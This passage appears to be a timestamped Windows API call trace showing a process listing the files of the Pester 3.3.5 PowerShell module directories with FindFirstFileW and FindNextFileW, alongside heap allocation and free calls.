lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0242.974] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.974] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0242.974] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0242.974] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0242.975] GetProcessHeap () returned 0xc10000 [0242.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0242.975] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0242.975] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0242.975] GetProcessHeap () returned 0xc10000 [0242.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.975] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0242.975] GetProcessHeap () returned 0xc10000 [0242.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.977] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.978] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0242.978] GetProcessHeap () returned 0xc10000 [0242.978] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0242.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0242.981] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.981] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0242.982] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0242.982] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0242.982] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0242.982] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efa7ee8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efa7ee8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efa7ee8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0242.983] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0242.983] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0242.983] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0242.983] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0242.984] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0242.984] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0242.984] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e66ad38, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e66ad38, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e66ad38, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0242.985] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0242.985] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0242.985] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0242.985] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0242.985] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0242.986] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0242.986] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0242.986] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0242.986] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0242.987] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0242.987] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0242.987] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0243.257] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0243.278] GetProcessHeap () returned 0xc10000 [0243.278] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0243.278] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0243.278] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0243.278] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0243.278] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0243.278] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", 